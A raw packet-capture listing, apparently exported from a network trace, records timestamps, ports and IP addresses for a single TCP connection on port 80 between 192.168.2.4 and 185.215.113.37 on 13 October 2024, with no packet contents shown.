Oct 13, 2024 11:54:11.759571075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759579897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759628057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759635925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759686947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759696007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759721041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759744883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759753942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759774923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759787083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759818077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759819031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759840012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759855986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759877920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759890079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759915113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759922981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759941101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759958029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.759987116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.759989977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760010958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760040998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760049105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760075092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760101080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760108948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760138035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760142088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760164976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760176897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760201931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760210037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760231972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760246038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760267019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760277987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760304928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760313988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760328054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760346889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760376930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760380030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760396004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760412931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760435104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760447025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760474920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760479927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760504007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760514021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760535002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760545969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760572910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760582924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760608912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760617018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760639906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760652065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760669947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760688066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760713100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760721922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760749102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760765076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.760785103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.760819912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.794792891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.794863939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.794893980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.794919014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.794919014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.794972897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.794981956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795008898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795028925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795042038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795068026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795075893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795093060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795130014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795130968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795183897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795188904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795217037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795241117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795250893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795270920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795284033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795305014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795336962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795341015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795372009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795398951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795428991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795450926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795485020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795511007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795521975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795552015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795557022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795578957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795604944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795608997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795640945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795660973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795674086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795697927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795708895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795732021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795742035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795763969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795775890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795800924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795809031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795838118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795845985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795865059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795880079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795905113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795912981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795933962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795947075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795970917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.795980930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.795999050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796014071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796035051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796047926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796066999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796081066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796103001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796114922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796137094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796149969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796175003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796185017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796209097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796219110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796241999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796251059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796281099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796283960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796302080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796318054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796344042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796353102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796372890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796390057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796410084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796422958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796444893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796457052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796478987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796489954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796513081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796525002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796545029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796555042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.796586037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.796605110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.850828886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.850913048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.850965977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.850999117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851051092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851085901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851124048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851157904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851159096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851159096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851159096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851160049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851160049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851160049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851207972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851257086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851258993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851258039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851258039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851293087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851311922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851326942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851358891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851378918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851378918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851438999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851444006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851474047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851495981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851504087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851528883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851557016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851572037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851614952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851614952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851665974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851670027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851703882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851723909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851736069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851763964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851788044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851788044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851821899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851845980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851854086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851877928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851905107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851912975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851938963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851963997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.851973057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.851989031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852006912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852027893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852039099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852058887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852072001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852102041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852102995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852119923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852137089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852160931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852186918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852197886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852226019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852250099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852257967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852274895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852297068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852313995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852348089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852353096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852400064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852405071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852432966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852458000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852466106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852483988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852495909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852526903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852529049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852545977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852562904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852582932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852596998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852623940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852632046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852646112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852663994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852695942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852696896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852715015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852730989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852751970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852766037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852787971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852798939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852824926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852833986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852849007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852866888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852890968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852900982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852916002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852933884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852956057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.852967978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.852993011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853001118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853017092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853034973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853068113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853069067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853089094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853101015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853126049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853131056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853149891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853163958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853190899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853197098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853212118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853230000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853252888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853266001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853290081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853298903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853313923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853332996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853358030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853365898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853384018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853399992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853420973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853434086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853462934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853467941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853490114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853502035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853528023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853538990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853552103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853571892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853596926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853612900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.853621006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.853667974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887114048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887156963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887212992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887264967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887298107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887347937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887428045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887429953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887429953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887429953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887429953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887429953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887430906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887480021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887515068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887528896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887528896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887564898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:11.887573004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887607098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887639046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:11.887659073 CEST	49730	80	192.168.2.4	185.215.113.37
